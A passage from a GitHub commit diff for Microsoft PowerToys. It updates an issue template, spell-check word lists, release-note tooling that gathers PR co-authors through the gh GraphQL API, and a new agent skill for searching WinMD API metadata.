and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-25 13:54:46 +08:00
Jiří Polášek
83f26d4684 CmdPal: Configure .editorconfig to format MSBuild files (#45739)
## Summary of the Pull Request

This PR configures the Command Palette's .editorconfig to format MSBuild
project and props files, and reformats the files accordingly.

No functional changes.
2026-02-24 14:50:17 -06:00
572 changed files with 25438 additions and 3666 deletions

View File

@@ -40,7 +40,6 @@ body:
- Other (please specify in "Steps to Reproduce")
validations:
required: true
- type: dropdown
attributes:
label: Area(s) with issue?
@@ -106,7 +105,13 @@ body:
placeholder: What happened instead?
validations:
required: false
- type: upload
id: bugreportfile
attributes:
label: Upload Bug Report ZIP-file
description: Right-clicking the PowerToys tray icon in the taskbar and selecting “Report bug” generates a ZIP file containing diagnostic information about your setup and PowerToys logs, helping us better understand and troubleshoot the issue.
validations:
required: false
- id: additionalInfo
type: textarea
attributes:

View File

@@ -1,6 +1,7 @@
# COLORS
argb
Bgr
bgra
BLACKONWHITE
BLUEGRAY
@@ -28,6 +29,7 @@ RUS
AYUV
bak
HDP
Bcl
bgcode
Deflatealgorithm
@@ -46,6 +48,7 @@ nupkg
petabyte
resw
resx
runtimeconfig
srt
Stereolithography
terabyte
@@ -297,6 +300,8 @@ pwa
AOT
Aot
ify
TFM
# YML
onefuzz

View File

@@ -16,6 +16,7 @@ adaptivecards
ADDSTRING
ADDUNDORECORD
ADifferent
ADMINS
adml
admx
advfirewall
@@ -67,6 +68,7 @@ ARPINSTALLLOCATION
ARPPRODUCTICON
ARRAYSIZE
ARROWKEYS
arrowshape
asf
AShortcut
ASingle
@@ -128,6 +130,7 @@ bthprops
bti
BTNFACE
bugreport
bugreportfile
BUILDARCH
BUILDNUMBER
buildtransitive
@@ -167,7 +170,11 @@ cim
CImage
cla
CLASSDC
classguid
classmethod
CLASSNOTAVAILABLE
claude
CLEARTYPE
clickable
clickonce
clientside
@@ -199,11 +206,13 @@ colorformat
colorhistory
colorhistorylimit
COLORKEY
colorref
comctl
comdlg
comexp
cominterop
commandpalette
commoncontrols
compmgmt
COMPOSITIONFULL
CONFIGW
@@ -215,6 +224,8 @@ CONTEXTHELP
CONTEXTMENUHANDLER
contractversion
CONTROLPARENT
Convs
cooldown
copiedcolorrepresentation
COPYPEN
COREWINDOW
@@ -225,6 +236,8 @@ cpcontrols
cph
cplusplus
CPower
cpptools
cppvsdbg
cppwinrt
createdump
CREATEPROCESS
@@ -247,6 +260,8 @@ CTLCOLORSTATIC
CURRENTDIR
CURSORINFO
cursorpos
CURSORSHOWING
cursorwrap
customaction
CUSTOMACTIONTEST
CVal
@@ -263,12 +278,14 @@ dacl
datareader
datatracker
Dayof
dbcc
DBID
DBLCLKS
DBLEPSILON
DBPROP
DBPROPIDSET
DBPROPSET
DBT
DCBA
DCOM
DComposition
@@ -284,6 +301,8 @@ DEFAULTFLAGS
DEFAULTICON
defaultlib
DEFAULTONLY
DEFAULTSIZE
defaulttonearest
DEFAULTTONULL
DEFAULTTOPRIMARY
DEFERERASE
@@ -303,11 +322,21 @@ DESKTOPABSOLUTEPARSING
desktopshorcutinstalled
devblogs
devdocs
devenv
DEVICEINTERFACE
devicetype
DEVINTERFACE
devmgmt
DEVMODE
DEVMODEW
DEVNODES
devpal
DEVTYP
dfx
DIALOGEX
diffs
digicert
DINORMAL
DISABLEASACTIONKEY
DISABLENOSCROLL
diskmgmt
@@ -421,6 +450,12 @@ eyetracker
FANCYZONESDRAWLAYOUTTEST
FANCYZONESEDITOR
FARPROC
fdw
fdx
FErase
fesf
FFFF
Figma
FILEEXPLORER
FILEFLAGS
FILEFLAGSMASK
@@ -437,6 +472,7 @@ FILESYSPATH
Filetime
FILEVERSION
FILTERMODE
FInc
findfast
FIXEDFILEINFO
FIXEDSYS
@@ -492,6 +528,7 @@ GPOCA
gpp
gpu
gradians
GRGX
GSM
gtm
guiddata
@@ -522,11 +559,13 @@ HCRYPTPROV
hcursor
hcwhite
hdc
HDEVNOTIFY
hdr
hdrop
hdwwiz
Helpline
helptext
hgdiobj
HGFE
hglobal
hhk
@@ -537,6 +576,8 @@ HIBYTE
hicon
HIDEWINDOW
Hif
highlightbackground
highlightthickness
HIMAGELIST
himl
hinst
@@ -627,6 +668,7 @@ inetcpl
Infobar
INFOEXAMPLE
Infotip
initialfile
INITDIALOG
INITGUID
INITTOLOGFONTSTRUCT
@@ -668,6 +710,7 @@ jfif
jgeosdfsdsgmkedfgdfgdfgbkmhcgcflmi
jjw
jobject
JOBOBJECT
jpe
jpnime
Jsons
@@ -701,6 +744,7 @@ Ldone
Ldr
LEFTSCROLLBAR
LEFTTEXT
leftclick
LError
LEVELID
LExit
@@ -732,6 +776,8 @@ lowlevel
LOWORD
lparam
LPBITMAPINFOHEADER
LPCFHOOKPROC
lpch
LPCITEMIDLIST
LPCLSID
lpcmi
@@ -749,6 +795,7 @@ LPMONITORINFO
LPOSVERSIONINFOEXW
LPQUERY
lprc
LPrivate
LPSAFEARRAY
lpstr
lpsz
@@ -790,10 +837,13 @@ MAPPEDTOSAMEKEY
MAPTOSAMESHORTCUT
MAPVK
MARKDOWNPREVIEWHANDLERCPP
MAXDWORD
MAXSHORTCUTSIZE
maxversiontested
MBM
MBR
Mbuttondown
mcp
MDICHILD
MDL
mdtext
@@ -805,7 +855,10 @@ MENUITEMINFO
MENUITEMINFOW
MERGECOPY
MERGEPAINT
Metacharacter
metadatamatters
Metadatas
Metacharacter
metafile
metapackage
mfc
@@ -831,6 +884,7 @@ mmsys
mobileredirect
mockapi
MODALFRAME
modelcontextprotocol
MODESPRUNED
MONITORENUMPROC
MONITORINFO
@@ -865,7 +919,9 @@ MSLLHOOKSTRUCT
Mso
msrc
msstore
mstsc
msvcp
MT
MTND
MULTIPLEUSE
multizone
@@ -874,6 +930,8 @@ mvvm
MVVMTK
MWBEx
MYICON
myorg
myrepo
NAMECHANGE
namespaceanddescendants
nao
@@ -976,6 +1034,7 @@ NTAPI
ntdll
NTSTATUS
NTSYSAPI
nullability
NULLCURSOR
nullonfailure
numberbox
@@ -987,6 +1046,8 @@ OEMCONVERT
officehubintl
OFN
ofs
OICI
OICIIO
oldcolor
olditem
oldpath
@@ -997,6 +1058,7 @@ openas
opencode
OPENFILENAME
opensource
openurl
openxmlformats
OPTIMIZEFORINVOKE
ORPHANEDDIALOGTITLE
@@ -1017,6 +1079,9 @@ OWNDC
OWNERDRAWFIXED
Packagemanager
PACL
padx
pady
PAI
PAINTSTRUCT
PALETTEWINDOW
PARENTNOTIFY
@@ -1189,6 +1254,7 @@ RAWPATH
rbhid
rclsid
RCZOOMIT
rdp
RDW
READMODE
READOBJECTS
@@ -1216,6 +1282,7 @@ remappings
REMAPSUCCESSFUL
REMAPUNSUCCESSFUL
Remotable
remotedesktop
remoteip
Removelnk
renamable
@@ -1246,6 +1313,7 @@ RIGHTSCROLLBAR
riid
RKey
RNumber
rollups
rop
ROUNDSMALL
rpcrt
@@ -1278,7 +1346,7 @@ SCREENFONTS
screensaver
screenshots
scrollviewer
SDDL
sddl
SDKDDK
sdns
searchterm
@@ -1448,6 +1516,7 @@ STYLECHANGING
subkeys
sublang
SUBMODULEUPDATE
sug
Superbar
sut
svchost
@@ -1456,6 +1525,9 @@ SVGIO
svgz
SVSI
SWFO
swp
SWPNOSIZE
SWPNOZORDER
SWRESTORE
symbolrequestprod
SYMCACHE
@@ -1472,6 +1544,8 @@ SYSKEY
syskeydown
SYSKEYUP
SYSLIB
sysmenu
systemai
SYSTEMAPPS
SYSTEMMODAL
SYSTEMTIME
@@ -1520,6 +1594,7 @@ tlc
TPMLEFTALIGN
TPMRETURNCMD
TNP
Toggleable
Toolhelp
toolwindow
TOPDOWNDIB
@@ -1557,6 +1632,9 @@ UHash
UIA
UIEx
ULONGLONG
Ultrawide
UMax
UMin
ums
uncompilable
UNCPRIORITY
@@ -2032,6 +2110,7 @@ metadatamatters
middleclickaction
MIIM
mikeclayton
mikehall
minimizebox
modelcontextprotocol
mousehighlighter
@@ -2152,6 +2231,7 @@ taskbar
TESTONLY
TEXTBOXNEWLINE
textextractor
textvariable
tgamma
THEMECHANGED
thickframe
@@ -2191,6 +2271,7 @@ wft
wikimedia
wikipedia
windowedge
WINDOWSAPPRUNTIME
windowsml
winexe
winforms

View File

@@ -289,3 +289,6 @@ St&yle
# Microsoft Store URLs and product IDs
ms-windows-store://\S+
# ANSI color codes
(?:\\(?:u00|x)1[Bb]|\\03[1-7]|\x1b|\\u\{1[Bb]\})\[\d+(?:;\d+)*m

View File

@@ -33,4 +33,4 @@ These are auto-applied based on file location:
## Detailed Documentation
- [Architecture](../doc/devdocs/core/architecture.md)
- [Coding Style](../doc/devdocs/development/style.md)
- [Coding Style](../doc/devdocs/development/style.md)

View File

@@ -33,7 +33,7 @@ Generated Files/ReleaseNotes/
## Prerequisites
- GitHub CLI (`gh`) installed and authenticated
- **GitHub CLI (`gh`) installed and authenticated** — The collection script uses `gh pr view` and `gh api graphql` to fetch PR metadata and co-author information. Run `gh auth status` to verify; if not logged in, run `gh auth login` first. See [Step 1.0.0](./references/step1-collection.md) for details.
- MCP Server: github-mcp-server installed
- GitHub Copilot code review enabled for the org/repo
@@ -49,6 +49,10 @@ Generated Files/ReleaseNotes/
```
┌────────────────────────────────┐
│ 1.0 Verify gh auth + MemberList │
└────────────────────────────────┘
┌────────────────────────────────┐
│ 1.1 Collect PRs (stable range) │
└────────────────────────────────┘
@@ -85,6 +89,7 @@ Generated Files/ReleaseNotes/
| Step | Action | Details |
|------|--------|---------|
| 1.0 | Verify prerequisites | `gh auth status` must pass; generate MemberList.md |
| 1.1 | Collect PRs | From previous release tag on `stable` branch → `sorted_prs.csv` |
| 1.2 | Assign Milestones | Ensure all PRs have correct milestone |
| 2.12.4 | Label PRs | Auto-suggest + human label low-confidence |

View File

@@ -1,9 +1,9 @@
- Added mouse button actions so you can choose what left, right, or middle click does. Thanks [@PesBandi](https://github.com/PesBandi)!
- Added mouse button actions so you can choose what left, right, or middle click does in [#1234](https://github.com/microsoft/PowerToys/pull/1234) by [@PesBandi](https://github.com/PesBandi)
- Aligned window styling with current Windows theme for a cleaner look. Thanks [@sadirano](https://github.com/sadirano)!
- Aligned window styling with current Windows theme for a cleaner look in [#1235](https://github.com/microsoft/PowerToys/pull/1235) by [@sadirano](https://github.com/sadirano)
- Ensured screen readers are notified when the selected item in the list changes for better accessibility.
- Ensured screen readers are notified when the selected item in the list changes for better accessibility in [#1236](https://github.com/microsoft/PowerToys/pull/1236)
- Implemented configurable UI test pipeline that can use pre-built official releases instead of building everything from scratch, reducing test execution time from 2+ hours.
- Implemented configurable UI test pipeline that can use pre-built official releases instead of building everything from scratch, reducing test execution time from 2+ hours in [#1237](https://github.com/microsoft/PowerToys/pull/1237)
- Fixed Alt+Left Arrow navigation not working when search box contains text. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Fixed Alt+Left Arrow navigation not working when search box contains text in [#1238](https://github.com/microsoft/PowerToys/pull/1238) by [@jiripolasek](https://github.com/jiripolasek)

View File

@@ -1,6 +1,7 @@
# Step 1: Collection and Milestones
## 1.0 To-do
- 1.0.0 Verify GitHub CLI authentication (REQUIRED)
- 1.0.1 Generate MemberList.md (REQUIRED)
- 1.1 Collect PRs
- 1.2 Assign Milestones (REQUIRED)
@@ -20,6 +21,34 @@
---
## 1.0.0 Verify GitHub CLI Authentication (REQUIRED)
⚠️ **BLOCKING:** The collection script requires an authenticated `gh` CLI to fetch PR metadata and co-author information via GitHub's GraphQL API. Without authentication, PR data and `NeedThanks` attribution will be incomplete.
### Check authentication status
```powershell
gh auth status
```
**If authenticated:** You'll see `Logged in to github.com account <username>`. Proceed to 1.0.1.
**If NOT authenticated:** Run the login flow before continuing:
```powershell
# Interactive login (opens browser for OAuth)
gh auth login --hostname github.com --web
# Or use a personal access token
gh auth login --with-token <<< "YOUR_GITHUB_TOKEN"
```
**Required scopes:** `repo` (for reading PR data and assigning milestones)
After login, verify again with `gh auth status` and confirm exit code 0.
---
## 1.0.1 Generate MemberList.md (REQUIRED)
Create `Generated Files/ReleaseNotes/MemberList.md` from the **PowerToys core team** section in [COMMUNITY.md](../../../COMMUNITY.md).
@@ -80,6 +109,8 @@ The script detects both merge commits (`Merge pull request #12345`) and squash c
**Output** (in `Generated Files/ReleaseNotes/`):
- `milestone_prs.json` - raw PR data
- `sorted_prs.csv` - sorted PR list with columns: Id, Title, Labels, Author, Url, Body, CopilotSummary, NeedThanks
- `Author`: Comma-separated list of all contributors (PR opener + co-authors from commit trailers)
- `NeedThanks`: Comma-separated list of external contributors to thank (excludes core team members from MemberList.md). Empty string means no thanks needed.
---

View File

@@ -16,7 +16,7 @@ For each CSV in `Generated Files/ReleaseNotes/grouped_csv/`, create a markdown f
- Use the “Verb-ed + Scenario + Impact” sentence structure—make readers think, “Thats exactly what I need” or “Yes, thats an awesome fix.”; The "impact" can be end-user focused (written to convey user excitement) or technical (performance/stability) when user-facing impact is minimal.
- If nothing special on impact or unclear impact, mark as needing human summary
- Source from Title, Body, and CopilotSummary (prefer CopilotSummary when available)
- If the column `NeedThanks` in CSV is `True`, append: `Thanks [@Author](https://github.com/Author)!`
- The `NeedThanks` column contains a comma-separated list of external contributor usernames who should be thanked (empty = no thanks needed, all authors are core team). For each non-empty `NeedThanks` value, append thanks for **every** listed contributor: `Thanks [@user1](https://github.com/user1)!` for a single contributor, or `Thanks [@user1](https://github.com/user1) and [@user2](https://github.com/user2)!` for two, or `Thanks [@user1](https://github.com/user1), [@user2](https://github.com/user2), and [@user3](https://github.com/user3)!` for three or more.
- Do NOT include PR numbers in bullet lines
- Do NOT mention “security” or “privacy” issues, since these are not known and could be leveraged by attackers in earlier versions. Instead, describe the user-facing scenario, usage, or impact.
- If confidence < 70%, write: `Human Summary Needed: <PR full link>`
@@ -72,13 +72,13 @@ Some items in the Development section may overlap and should be moved to the Mod
## Advanced Paste
- Wrapped paste option lists in a single ScrollViewer
- Added image input handling for AI-powered transformations
- Wrapped paste option lists in a single ScrollViewer in [#5678](https://github.com/microsoft/PowerToys/pull/5678)
- Added image input handling for AI-powered transformations in [#5679](https://github.com/microsoft/PowerToys/pull/5679)
...
## Awake
- Fixed timed mode expiration. Thanks [@daverayment](https://github.com/daverayment)!
- Fixed timed mode expiration in [#5680](https://github.com/microsoft/PowerToys/pull/5680) by [@daverayment](https://github.com/daverayment)
...
---

View File

@@ -42,30 +42,7 @@ param(
[string]$OutputJson = "milestone_prs.json"
)
<#
.SYNOPSIS
Dump merged PR information whose merge commits are reachable from EndCommit but not from StartCommit.
.DESCRIPTION
Uses git rev-list to compute commits in the (StartCommit, EndCommit] range, extracts PR numbers from merge commit messages,
queries GitHub (gh CLI) for details, then outputs a CSV.
PR merge commit messages in PowerToys generally contain patterns like:
Merge pull request #12345 from ...
.EXAMPLE
pwsh ./dump-prs-since-commit.ps1 -StartCommit 0123abcd -Branch stable
.EXAMPLE
pwsh ./dump-prs-since-commit.ps1 -StartCommit 0123abcd -EndCommit 89ef7654 -OutputCsv changes.csv
.NOTES
Requires: gh CLI authenticated; git available in working directory (must be inside PowerToys repo clone).
CopilotSummary behavior:
- Attempts to locate the latest GitHub Copilot authored review (preferred).
- If no review is found, lazily fetches PR comments to look for a Copilot-authored comment.
- Normalizes whitespace and strips newlines. Empty when no Copilot activity detected.
- Run with -Verbose to see whether the summary came from a 'review' or 'comment' source.
#>
# (See top-level synopsis above for full documentation)
function Write-Info($msg) { Write-Host $msg -ForegroundColor Cyan }
function Write-Warn($msg) { Write-Host $msg -ForegroundColor Yellow }
@@ -151,11 +128,11 @@ catch {
}
Write-Info "Collecting commits between $startSha..$endSha (excluding start, including end)."
# Get list of commits reachable from end but not from start.
# IMPORTANT: In PowerShell, the .. operator creates a numeric/char range. If $startSha and $endSha look like hex strings,
# `$startSha..$endSha` must be passed as a single string argument.
$rangeArg = "$startSha..$endSha"
$commitList = git rev-list $rangeArg
# Get list of commits reachable from end but not from start.
# IMPORTANT: In PowerShell, the .. operator creates a numeric/char range. If $startSha and $endSha look like hex strings,
# `$startSha..$endSha` must be passed as a single string argument.
$rangeArg = "$startSha..$endSha"
$commitList = git rev-list $rangeArg
# Normalize list (filter out empty strings)
$normalizedCommits = $commitList | Where-Object { $_ -and $_.Trim() -ne '' }
@@ -210,6 +187,63 @@ $prNumbers = $mergeCommits | Select-Object -ExpandProperty Pr -Unique | Sort-Obj
Write-Info ("Found {0} unique PRs: {1}" -f $prNumbers.Count, ($prNumbers -join ', '))
Write-DebugMsg ("Total merge commits examined: {0}" -f $mergeCommits.Count)
# Build a map of PR number → list of commit SHAs (for co-author extraction)
$prToCommits = @{}
foreach ($mc in $mergeCommits) {
if (-not $prToCommits.ContainsKey($mc.Pr)) {
$prToCommits[$mc.Pr] = @()
}
$prToCommits[$mc.Pr] += $mc.Sha
}
<#
.SYNOPSIS
Get all authors (including co-authors) for a set of commits via GitHub GraphQL API.
.DESCRIPTION
Uses the Commit.authors field in GitHub's GraphQL API which natively includes
co-authors (from Co-authored-by trailers). Returns GitHub usernames (login)
without any email parsing — GitHub resolves the association for us.
NOTE: For squash merges this captures all co-authors correctly because GitHub
preserves Co-authored-by trailers in the squash commit. For traditional merge
commits, only the merger's author is returned — co-authors on individual PR
commits are not traversed. This is acceptable because PowerToys primarily uses
squash merging.
#>
function Get-CommitAuthors {
param(
[string[]]$CommitShas,
[string]$RepoFullName = "microsoft/PowerToys"
)
$parts = $RepoFullName -split '/'
$owner = $parts[0]
$repoName = $parts[1]
$allAuthors = @()
foreach ($sha in $CommitShas) {
try {
$query = "{ repository(owner: `"$owner`", name: `"$repoName`") { object(expression: `"$sha`") { ... on Commit { authors(first: 20) { nodes { user { login } name } } } } } }"
$result = gh api graphql -f query="$query" 2>$null | ConvertFrom-Json
$nodes = $result.data.repository.object.authors.nodes
if ($nodes) {
foreach ($node in $nodes) {
if ($node.user -and $node.user.login) {
$allAuthors += $node.user.login
} else {
# User without a GitHub account (rare) — use display name as fallback
Write-DebugMsg "Commit $sha has an author without GitHub account: $($node.name)"
}
}
}
}
catch {
Write-DebugMsg "GraphQL authors query failed for commit ${sha}: $_"
}
}
return $allAuthors | Select-Object -Unique
}
# Query GitHub for each PR
$prDetails = @()
function Get-CopilotSummaryFromPrJson {
@@ -307,22 +341,45 @@ foreach ($pr in $prNumbers) {
$bodyValue = if ($json.body) { ($json.body -replace "`r", '') -replace "`n", ' ' } else { '' }
$bodyValue = $bodyValue -replace '\s+', ' '
# Determine if author needs thanks (not in member list)
# Collect all contributors: PR author + co-authors from commit messages
$authorLogin = $json.author.login
$needThanks = $true
if ($memberList.Count -gt 0 -and $authorLogin) {
$needThanks = -not ($memberList -contains $authorLogin)
$allContributors = @($authorLogin)
# Extract all authors (including co-authors) from associated commits via GitHub GraphQL API
if ($prToCommits.ContainsKey([int]$pr)) {
$commitAuthors = Get-CommitAuthors -CommitShas $prToCommits[[int]$pr] -RepoFullName $Repo
if ($commitAuthors) {
$allContributors += $commitAuthors
}
}
# Deduplicate contributors (case-insensitive)
$allContributors = $allContributors | Where-Object { $_ } | Sort-Object -Unique
# Filter to only external contributors (not in member list) for thanks
$externalContributors = @()
if ($memberList.Count -gt 0) {
$externalContributors = $allContributors | Where-Object { -not ($memberList -contains $_) }
} else {
$externalContributors = $allContributors
}
# Author column: all contributors (comma-separated)
$authorField = ($allContributors -join ', ')
# NeedThanks column: comma-separated list of external contributors who
# deserve thanks attribution. Empty string means no thanks needed.
$needThanksField = ($externalContributors -join ', ')
$prDetails += [PSCustomObject]@{
Id = $json.number
Title = $json.title
Labels = $labelNames
Author = $authorLogin
Author = $authorField
Url = $json.url
Body = $bodyValue
CopilotSummary = $copilot.Summary
NeedThanks = $needThanks
NeedThanks = $needThanksField
}
}
catch {

View File

@@ -0,0 +1,21 @@
The MIT License
Copyright (c) Microsoft Corporation. All rights reserved.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

192
.github/skills/winmd-api-search/SKILL.md vendored Normal file
View File

@@ -0,0 +1,192 @@
---
name: winmd-api-search
description: 'Find and explore Windows desktop APIs. Use when building features that need platform capabilities — camera, file access, notifications, UI controls, AI/ML, sensors, networking, etc. Discovers the right API for a task and retrieves full type details (methods, properties, events, enumeration values).'
license: Complete terms in LICENSE.txt
---
# WinMD API Search
This skill helps you find the right Windows API for any capability and get its full details. It searches a local cache of all WinMD metadata from:
- **Windows Platform SDK** — all `Windows.*` WinRT APIs (always available, no restore needed)
- **WinAppSDK / WinUI** — bundled as a baseline in the cache generator (always available, no restore needed)
- **NuGet packages** — any additional packages in restored projects that contain `.winmd` files
- **Project-output WinMD** — class libraries (C++/WinRT, C#) that produce `.winmd` as build output
Even on a fresh clone with no restore or build, you still get full Platform SDK + WinAppSDK coverage.
## When to Use This Skill
- User wants to build a feature and you need to find which API provides that capability
- User asks "how do I do X?" where X involves a platform feature (camera, files, notifications, sensors, AI, etc.)
- You need the exact methods, properties, events, or enumeration values of a type before writing code
- You're unsure which control, class, or interface to use for a UI or system task
## Prerequisites
- **.NET SDK 8.0 or later** — required to build the cache generator. Install from [dotnet.microsoft.com](https://dotnet.microsoft.com/download) if not available.
## Cache Setup (Required Before First Use)
All query and search commands read from a local JSON cache. **You must generate the cache before running any queries.**
```powershell
# All projects in the repo (recommended for first run)
.\.github\skills\winmd-api-search\scripts\Update-WinMdCache.ps1
# Single project
.\.github\skills\winmd-api-search\scripts\Update-WinMdCache.ps1 -ProjectDir <project-folder>
```
No project restore or build is needed for baseline coverage (Platform SDK + WinAppSDK). For additional NuGet packages, the project needs `dotnet restore` (which generates `project.assets.json`) or a `packages.config` file.
Cache is stored at `Generated Files\winmd-cache\`, deduplicated per-package+version.
### What gets indexed
| Source | When available |
|--------|----------------|
| Windows Platform SDK | Always (reads from local SDK install) |
| WinAppSDK (latest) | Always (bundled as baseline in cache generator) |
| WinAppSDK Runtime | When installed on the system (detected via `Get-AppxPackage`) |
| Project NuGet packages | After `dotnet restore` or with `packages.config` |
| Project-output `.winmd` | After project build (class libraries that produce WinMD) |
> **Note:** This cache directory should be in `.gitignore` — it's generated, not source.
## How to Use
Pick the path that matches the situation:
---
### Discover — "I don't know which API to use"
The user describes a capability in their own words. You need to find the right API.
**0. Ensure the cache exists**
If the cache hasn't been generated yet, run `Update-WinMdCache.ps1` first — see [Cache Setup](#cache-setup-required-before-first-use) above.
**1. Translate user language → search keywords**
Map the user's daily language to programming terms. Try multiple variations:
| User says | Search keywords to try (in order) |
|-----------|-----------------------------------|
| "take a picture" | `camera`, `capture`, `photo`, `MediaCapture` |
| "load from disk" | `file open`, `picker`, `FileOpen`, `StorageFile` |
| "describe what's in it" | `image description`, `Vision`, `Recognition` |
| "show a popup" | `dialog`, `flyout`, `popup`, `ContentDialog` |
| "drag and drop" | `drag`, `drop`, `DragDrop` |
| "save settings" | `settings`, `ApplicationData`, `LocalSettings` |
Start with simple everyday words. If results are weak or irrelevant, try the more technical variation.
**2. Run searches**
```powershell
.\.github\skills\winmd-api-search\scripts\Invoke-WinMdQuery.ps1 -Action search -Query "<keyword>"
```
This returns ranked namespaces with top matching types and the **JSON file path**.
If results have **low scores (below 60) or are irrelevant**, fall back to searching online documentation:
1. Use web search to find the right API on Microsoft Learn, for example:
- `site:learn.microsoft.com/uwp/api <capability keywords>` for `Windows.*` APIs
- `site:learn.microsoft.com/windows/windows-app-sdk/api/winrt <capability keywords>` for `Microsoft.*` WinAppSDK APIs
2. Read the documentation pages to identify which type matches the user's requirement.
3. Once you know the type name, come back and use `-Action members` or `-Action enums` to get the exact local signatures.
**3. Read the JSON to choose the right API**
Read the file at the path(s) from the top results. The JSON has all types in that namespace — full members, signatures, parameters, return types, enumeration values.
Read and decide which types and members fit the user's requirement.
**4. Look up official documentation for context**
The cache contains only signatures — no descriptions or usage guidance. For explanations, examples, and remarks, look up the type on Microsoft Learn:
| Namespace prefix | Documentation base URL |
|-----------------|----------------------|
| `Windows.*` | `https://learn.microsoft.com/uwp/api/{fully.qualified.typename}` |
| `Microsoft.*` (WinAppSDK) | `https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/{fully.qualified.typename}` |
For example, `Microsoft.UI.Xaml.Controls.NavigationView` maps to:
`https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/microsoft.ui.xaml.controls.navigationview`
**5. Use the API knowledge to answer or write code**
---
### Lookup — "I know the API, show me the details"
You already know (or suspect) the type or namespace name. Go direct:
```powershell
# Get all members of a known type
.\.github\skills\winmd-api-search\scripts\Invoke-WinMdQuery.ps1 -Action members -TypeName "Microsoft.UI.Xaml.Controls.NavigationView"
# Get enum values
.\.github\skills\winmd-api-search\scripts\Invoke-WinMdQuery.ps1 -Action enums -TypeName "Microsoft.UI.Xaml.Visibility"
# List all types in a namespace
.\.github\skills\winmd-api-search\scripts\Invoke-WinMdQuery.ps1 -Action types -Namespace "Microsoft.UI.Xaml.Controls"
# Browse namespaces
.\.github\skills\winmd-api-search\scripts\Invoke-WinMdQuery.ps1 -Action namespaces -Filter "Microsoft.UI"
```
If you need full detail beyond what `-Action members` shows, use `-Action search` to get the JSON file path, then read the JSON file directly.
---
### Other Commands
```powershell
# List cached projects
.\.github\skills\winmd-api-search\scripts\Invoke-WinMdQuery.ps1 -Action projects
# List packages for a project
.\.github\skills\winmd-api-search\scripts\Invoke-WinMdQuery.ps1 -Action packages
# Show stats
.\.github\skills\winmd-api-search\scripts\Invoke-WinMdQuery.ps1 -Action stats
```
> If only one project is cached, `-Project` is auto-selected.
> If multiple projects exist, add `-Project <name>` (use `-Action projects` to see available names).
> In scan mode, manifest names include a short hash suffix to avoid collisions; you can pass the base project name without the suffix if it's unambiguous.
## Search Scoring
The search ranks type names and member names against your query:
| Score | Match type | Example |
|-------|-----------|---------|
| 100 | Exact name | `Button``Button` |
| 80 | Starts with | `Navigation``NavigationView` |
| 60 | Contains | `Dialog``ContentDialog` |
| 50 | PascalCase initials | `ASB``AutoSuggestBox` |
| 40 | Multi-keyword AND | `navigation item``NavigationViewItem` |
| 20 | Fuzzy character match | `NavVw``NavigationView` |
Results are grouped by namespace. Higher-scored namespaces appear first.
## Troubleshooting
| Issue | Fix |
|-------|-----|
| "Cache not found" | Run `Update-WinMdCache.ps1` |
| "Multiple projects cached" | Add `-Project <name>` |
| "Namespace not found" | Use `-Action namespaces` to list available ones |
| "Type not found" | Use fully qualified name (e.g., `Microsoft.UI.Xaml.Controls.Button`) |
| Stale after NuGet update | Re-run `Update-WinMdCache.ps1` |
| Cache in git history | Add `Generated Files/` to `.gitignore` |
## References
- [Windows Platform SDK API reference](https://learn.microsoft.com/uwp/api/) — documentation for `Windows.*` namespaces
- [Windows App SDK API reference](https://learn.microsoft.com/windows/windows-app-sdk/api/winrt/) — documentation for `Microsoft.*` WinAppSDK namespaces

View File

@@ -0,0 +1,505 @@
<#
.SYNOPSIS
Query WinMD API metadata from cached JSON files.
.DESCRIPTION
Reads pre-built JSON cache of WinMD types, members, and namespaces.
The cache is organized per-package (deduplicated) with project manifests
that map each project to its referenced packages.
Supports listing namespaces, types, members, searching, enum value lookup,
and listing cached projects/packages.
.PARAMETER Action
The query action to perform:
- projects : List cached projects
- packages : List packages for a project
- stats : Show aggregate statistics for a project
- namespaces : List all namespaces (optional -Filter prefix)
- types : List types in a namespace (-Namespace required)
- members : List members of a type (-TypeName required)
- search : Search types and members by name (-Query required)
- enums : List enum values (-TypeName required)
.PARAMETER Project
Project name to query. Auto-selected if only one project is cached.
Use -Action projects to list available projects.
.PARAMETER Namespace
Namespace to query types from (used with -Action types).
.PARAMETER TypeName
Full type name e.g. "Microsoft.UI.Xaml.Controls.Button" (used with -Action members, enums).
.PARAMETER Query
Search query string (used with -Action search).
.PARAMETER Filter
Optional prefix filter for namespaces (used with -Action namespaces).
.PARAMETER CacheDir
Path to the winmd-cache directory. Defaults to "Generated Files\winmd-cache"
relative to the workspace root.
.PARAMETER MaxResults
Maximum number of results to return for search. Defaults to 30.
.EXAMPLE
.\Invoke-WinMdQuery.ps1 -Action projects
.\Invoke-WinMdQuery.ps1 -Action packages -Project BlankWinUI
.\Invoke-WinMdQuery.ps1 -Action stats -Project BlankWinUI
.\Invoke-WinMdQuery.ps1 -Action namespaces -Filter "Microsoft.UI"
.\Invoke-WinMdQuery.ps1 -Action types -Namespace "Microsoft.UI.Xaml.Controls"
.\Invoke-WinMdQuery.ps1 -Action members -TypeName "Microsoft.UI.Xaml.Controls.Button"
.\Invoke-WinMdQuery.ps1 -Action search -Query "NavigationView"
.\Invoke-WinMdQuery.ps1 -Action enums -TypeName "Microsoft.UI.Xaml.Visibility"
#>
